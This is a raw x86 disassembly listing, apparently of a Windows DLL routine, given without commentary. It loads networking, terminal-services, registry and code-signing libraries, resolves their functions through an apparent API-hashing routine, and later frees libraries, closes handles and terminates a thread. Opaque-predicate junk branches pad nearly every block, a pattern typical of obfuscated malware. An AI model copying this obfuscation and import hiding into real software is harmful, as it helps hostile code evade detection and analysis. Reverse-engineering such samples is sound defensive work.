mov eax, dword [0x1002cd1c]
push str.ws2_32.dll
mov dword [esp + 4], eax
push eax
push 0x100271fc
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push edi
call dword [0x1002ca7c]
mov dword [0x1002ca88], eax
mov edx, dword [0x1002d36c]
mov ecx, dword [0x1002d368]
cmp ecx, 0xa
jl 0x1000e2d2
lea edi, [edx + 1]
imul edi, edx
and edi, 1
je 0x1000e2d2
mov ebx, dword [esp]
mov ebp, 0x100271fc
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
mov eax, str.ws2_32.dll
push eax
push ebx
push ebp
lea edi, [esp + 0xfe]
push edi
call esi
add esp, 0x10
push edi
call dword [0x1002ca7c]
mov dword [0x1002ca88], eax
mov eax, str.ws2_32.dll
push eax
push ebx
push ebp
push edi
call esi
add esp, 0x10
push edi
call dword [0x1002ca7c]
mov dword [0x1002ca88], eax
mov edx, dword [0x1002d36c]
mov ecx, dword [0x1002d368]
cmp ecx, 0xa
jl 0x1000e2d2
lea edi, [edx + 1]
imul edi, edx
and edi, 1
jne 0x1000e27b
test eax, eax
je 0x1000e375
movups xmm0, xmmword [0x100241ec]
lea esi, [esp + 0x50]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [0x100241dc]
movups xmmword [esi], xmm0
push 0x631143df
push 2
push esi
push eax
call fcn.10017574
add esp, 0x10
mov edx, dword [0x1002d36c]
mov ecx, dword [0x1002d368]
lea eax, [edx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
lea ebp, [esp + 0xf2]
jl 0x1000e385
test eax, eax
je 0x1000e385
mov edi, 0x631143df
mov ebx, 2
push edi
push ebx
push esi
push dword [0x1002ca88]
call fcn.10017574
add esp, 0x10
push edi
push ebx
push esi
push dword [0x1002ca88]
call fcn.10017574
add esp, 0x10
mov edx, dword [0x1002d36c]
mov ecx, dword [0x1002d368]
lea eax, [edx + 1]
imul eax, edx
and eax, 1
cmp ecx, 0xa
jl 0x1000e385
test eax, eax
jne 0x1000e333
jmp 0x1000e385
lea eax, [edx + 1]
imul eax, edx
and eax, 1
lea ebp, [esp + 0xf2]
cmp ecx, 0xa
jl 0x1000e38e
test eax, eax
jne 0x1000e3c7
push str.winmm.dll
push dword [0x1002cd1c]
push 0x100271fc
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov esi, dword [0x1002ca7c]
cmp dword [0x1002d368], 0xa
jl 0x1000e415
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000e415
push str.winmm.dll
push dword [0x1002cd1c]
push 0x100271fc
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000ef1c
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000ef57
jmp 0x1000ef1c
lea edi, [edx + 1]
imul edi, edx
and edi, 1
je 0x1000e429
push ebp
call esi
push ebp
call esi
mov edx, dword [0x1002d36c]
mov ecx, dword [0x1002d368]
cmp ecx, 0xa
jge 0x1000e407
mov dword [0x1002c8cc], eax
test eax, eax
je 0x1000e483
lea ebx, [edx + 1]
imul ebx, edx
test bl, 1
sete dl
cmp ecx, 0xa
setl cl
or cl, dl
movups xmm0, xmmword [0x1002420c]
movups xmmword [esp + 0x60], xmm0
movups xmm1, xmmword [0x100241fc]
movups xmmword [esp + 0x50], xmm1
jne 0x1000e46e
movups xmmword [esp + 0x60], xmm0
movups xmmword [esp + 0x50], xmm1
test cl, cl
je 0x1000e460
lea ecx, [esp + 0x50]
push 0x631143df
push 2
push ecx
push eax
call fcn.10017574
add esp, 0x10
push str.wtsapi32.dll
push dword [0x1002cd1c]
push 0x100271fc
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push ebp
call dword [0x1002ca7c]
mov edx, dword [0x1002d36c]
mov ecx, dword [0x1002d368]
mov dword [0x1002ca40], eax
test eax, eax
je 0x1000e4e4
movups xmm0, xmmword [0x1002421c]
lea ecx, [esp + 0x50]
movups xmmword [ecx], xmm0
push 0x631143df
push 1
push ecx
push eax
call fcn.10017574
add esp, 0x10
mov edx, dword [0x1002d36c]
mov ecx, dword [0x1002d368]
lea eax, [edx + 1]
imul eax, edx
and eax, 1
mov edx, dword [0x1002cd1c]
mov dword [esp], edx
cmp ecx, 0xa
jl 0x1000e517
test eax, eax
je 0x1000e517
push str.advapi32.dll
push dword [esp + 4]
push 0x100271fc
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push str.advapi32.dll
push dword [esp + 4]
push 0x100271fc
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000e592
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000e592
mov ebx, dword [esp]
mov ebp, 0x100271fc
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
mov eax, str.advapi32.dll
push eax
push ebx
push ebp
lea edi, [esp + 0xfe]
push edi
call esi
add esp, 0x10
mov eax, str.advapi32.dll
push eax
push ebx
push ebp
push edi
call esi
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000e592
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000e556
lea ebp, [esp + 0xf2]
push ebp
call dword [0x1002ca7c]
mov dword [0x1002c908], eax
test eax, eax
je 0x1000e635
mov esi, eax
lea edi, [esp + 0x50]
push 0x90
push 0x1002422c
push edi
call fcn.10018c00
add esp, 0xc
push 0x631143df
push 9
push edi
push esi
call fcn.10017574
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000e635
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000e635
mov esi, 0x631143df
mov ebx, 9
push esi
push ebx
push edi
push dword [0x1002c908]
call fcn.10017574
add esp, 0x10
push esi
push ebx
push edi
push dword [0x1002c908]
call fcn.10017574
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000e635
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000e5fa
mov eax, dword [0x1002cd1c]
push str.wintrust.dll
mov dword [esp + 4], eax
push eax
push 0x100271fc
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000e6f6
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000e6f6
mov ebx, dword [esp]
mov ebp, 0x100271fc
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
mov eax, str.wintrust.dll
push eax
push ebx
push ebp
lea edi, [esp + 0xfe]
push edi
call esi
add esp, 0x10
mov eax, str.wintrust.dll
push eax
push ebx
push ebp
push edi
call esi
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000e6be
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000e682
push str.wintrust.dll
push dword [esp + 4]
push 0x100271fc
lea eax, [esp + 0xfe]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000e6f6
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000e682
mov esi, dword [0x1002ca7c]
lea edi, [esp + 0xf2]
push edi
call esi
mov dword [0x1002ca48], eax
cmp dword [0x1002d368], 0xa
jl 0x1000e72f
mov ecx, dword [0x1002d36c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x1000e72f
push edi
call esi
mov dword [0x1002ca48], eax
jmp 0x1000e703
test eax, eax
je 0x1000e7ad
movups xmm0, xmmword [0x100242bc]
lea esi, [esp + 0x50]
movups xmmword [esi], xmm0
push 0x631143df
push 1
push esi
push eax
call fcn.10017574
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000e7ad
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000e7ad
mov edi, 0x631143df
xor ebx, ebx
inc ebx
push edi
push ebx
push esi
push dword [0x1002ca48]
call fcn.10017574
add esp, 0x10
push edi
push ebx
push esi
push dword [0x1002ca48]
call fcn.10017574
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000e7ad
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, ebx
jne 0x1000e773
push 0
call fcn.10010110
test eax, eax
jne 0x1000dae3
mov dword [0x1002d140], 2
jmp 0x1000ef0c
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [0x1002d36c]
mov eax, dword [0x1002d368]
cmp eax, 0xa
jl 0x1000e7fc
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
je 0x1000e7fc
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1000e7cb
mov esi, dword [0x1002cd64]
test esi, esi
je 0x1000e870
cmp eax, 0xa
jl 0x1000e816
lea eax, [edx + 1]
imul eax, edx
and eax, 1
jne 0x1000e836
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
cmp dword [0x1002d368], 0xa
jl 0x1000e85b
mov ecx, dword [0x1002d36c]
lea edx, [ecx + 1]
imul edx, ecx
and edx, 1
je 0x1000e85b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call edi
call edi
cmp dword [0x1002d368], 0xa
jl 0x1000e816
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000e836
jmp 0x1000e816
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [0x1002d36c]
mov eax, dword [0x1002d368]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
sete dh
cmp eax, 0xa
setl dl
or dl, dh
test dl, dl
je 0x1000e884
mov edi, dword [0x1002cd70]
test edi, edi
je 0x1000e932
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, eax
cmp dword [0x1002d368], 0xa
jl 0x1000e8dc
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000e8dc
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call ebx
call ebx
mov esi, eax
cmp dword [0x1002d368], 0xa
jl 0x1000e8dc
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000e8bd
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [0x1002d36c]
mov eax, dword [0x1002d368]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x1000e932
test ecx, ecx
je 0x1000e932
xor ebx, ebx
mov ebp, dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
push ebx
push esi
call ebp
push edi
push ebx
push esi
call ebp
mov edx, dword [0x1002d36c]
mov eax, dword [0x1002d368]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x1000e932
test ecx, ecx
jne 0x1000e90b
test ecx, ecx
sete dh
cmp eax, 0xa
setl dl
or dl, dh
test dl, dl
je 0x1000e93f
mov edi, dword [0x1002cd34]
test edi, edi
je 0x1000ea0c
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, eax
cmp dword [0x1002d368], 0xa
jl 0x1000e997
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000e997
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call ebx
call ebx
mov esi, eax
cmp dword [0x1002d368], 0xa
jl 0x1000e997
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000e978
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [0x1002d36c]
mov eax, dword [0x1002d368]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x1000ea0c
test ecx, ecx
je 0x1000ea0c
xor ebx, ebx
mov ebp, dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
push ebx
push esi
call ebp
push edi
push ebx
push esi
call ebp
cmp dword [0x1002d368], 0xa
jl 0x1000e9e9
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000e9c6
push edi
push 0
push esi
call ebp
mov edx, dword [0x1002d36c]
mov eax, dword [0x1002d368]
lea ecx, [edx + 1]
imul ecx, edx
and ecx, 1
cmp eax, 0xa
jl 0x1000ea0c
test ecx, ecx
jne 0x1000e9c6
test ecx, ecx
sete cl
cmp eax, 0xa
setl al
or al, cl
test al, al
je 0x1000ea19
mov edi, dword [0x1002cd40]
test edi, edi
je 0x1000eada
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, eax
cmp dword [0x1002d368], 0xa
jl 0x1000ea8c
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000ea8c
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
call ebx
call ebx
cmp dword [0x1002d368], 0xa
jl 0x1000ea6f
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000ea52
call ebx
mov esi, eax
cmp dword [0x1002d368], 0xa
jl 0x1000ea8c
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000ea52
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [0x1002d368], 0xa
jl 0x1000eada
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000eada
xor ebx, ebx
mov ebp, dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
push ebx
push esi
call ebp
push edi
push ebx
push esi
call ebp
cmp dword [0x1002d368], 0xa
jl 0x1000eada
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000eab7
cmp byte [0x1002d144], 1
jne 0x1000ef0c
mov esi, dword [0x1002c9b4]
test esi, esi
je 0x1000eb52
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [0x1002d368], 0xa
jl 0x1000eb52
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000eb52
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
call edi
push esi
call edi
cmp dword [0x1002d368], 0xa
jl 0x1000eb36
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000eb17
push esi
call edi
cmp dword [0x1002d368], 0xa
jl 0x1000eb52
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000eb17
mov esi, dword [0x1002cd94]
test esi, esi
je 0x1000eba1
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [0x1002d368], 0xa
jl 0x1000eba1
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000eba1
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
call edi
push esi
call edi
cmp dword [0x1002d368], 0xa
jl 0x1000eba1
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000eb82
mov eax, dword [0x1002c908]
test eax, eax
je 0x1000ebb1
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, dword [0x1002ca48]
test esi, esi
je 0x1000ec00
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [0x1002d368], 0xa
jl 0x1000ec00
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000ec00
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
call edi
push esi
call edi
cmp dword [0x1002d368], 0xa
jl 0x1000ec00
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000ebe1
mov esi, dword [0x1002ca88]
test esi, esi
je 0x1000ec6b
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [0x1002d368], 0xa
jl 0x1000ec6b
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000ec6b
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
call edi
push esi
call edi
cmp dword [0x1002d368], 0xa
jl 0x1000ec4f
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000ec30
push esi
call edi
cmp dword [0x1002d368], 0xa
jl 0x1000ec6b
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000ec30
mov esi, dword [0x1002c8cc]
test esi, esi
je 0x1000ecba
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [0x1002d368], 0xa
jl 0x1000ecba
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000ecba
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push esi
call edi
push esi
call edi
cmp dword [0x1002d368], 0xa
jl 0x1000ecba
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000ec9b
mov eax, dword [0x1002ca40]
test eax, eax
je 0x1000ecca
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov esi, dword [0x1002c988]
test esi, esi
je 0x1000ed19
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x1002d368], 0xa
jl 0x1000ed19
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000ed19
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call edi
push esi
call edi
cmp dword [0x1002d368], 0xa
jl 0x1000ed19
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000ecfa
mov esi, dword [0x1002cd54]
test esi, esi
je 0x1000ed33
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [0x1002cd2c]
test esi, esi
je 0x1000ed82
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [0x1002d368], 0xa
jl 0x1000ed82
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000ed82
mov edi, dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
call edi
push esi
call edi
cmp dword [0x1002d368], 0xa
jl 0x1000ed82
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000ed63
cmp dword [0x1002d140], 2
jne 0x1000edd2
push 0
call fcn.1001251b
cmp dword [0x1002d368], 0xa
jl 0x1000edd2
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000edd2
xor esi, esi
push esi
call fcn.1001251b
push esi
call fcn.1001251b
cmp dword [0x1002d368], 0xa
jl 0x1000edd2
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000edad
cmp dword [0x1002d140], 0
jle 0x1000ee00
call fcn.10013c40
cmp dword [0x1002d368], 0xa
jl 0x1000ee00
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000ee00
call fcn.10013c40
jmp 0x1000eddb
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [edi*4 + 0x1002d114]
test eax, eax
je 0x1000ee41
push eax
call esi
cmp dword [0x1002d368], 0xa
jl 0x1000ee41
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000ee41
push dword [edi*4 + 0x1002d114]
call esi
push dword [edi*4 + 0x1002d114]
jmp 0x1000ee14
inc edi
cmp edi, 3
jne 0x1000ee08
mov eax, dword [0x1002cd4c]
test eax, eax
je 0x1000ef0c
push 0
push eax
call sub.NTDLL.dll_NtTerminateThread
cmp dword [0x1002d368], 0xa
jl 0x1000eed5
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000eed5
push dword [0x1002cd4c]
call esi
push dword [0x1002cd4c]
call esi
cmp dword [0x1002d368], 0xa
jl 0x1000ee9e
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
jne 0x1000ee75
push dword [0x1002cd4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x1002d368], 0xa
jl 0x1000eed5
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000eed5
push dword [0x1002cd4c]
call esi
push dword [0x1002cd4c]
call esi
jmp 0x1000eeaa
push dword [0x1002cd4c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x1002d368], 0xa
jl 0x1000ef0c
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000ef0c
push dword [0x1002cd4c]
call esi
push dword [0x1002cd4c]
call esi
jmp 0x1000eee1
xor eax, eax
inc eax
add esp, 0x2fc
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
push str.winmm.dll
push dword [0x1002cd1c]
push 0x100271fc
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
cmp dword [0x1002d368], 0xa
jl 0x1000e38e
mov eax, dword [0x1002d36c]
lea ecx, [eax + 1]
imul ecx, eax
and ecx, 1
je 0x1000e38e
push str.winmm.dll
push dword [0x1002cd1c]
push 0x100271fc
push ebp
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x1000ef1c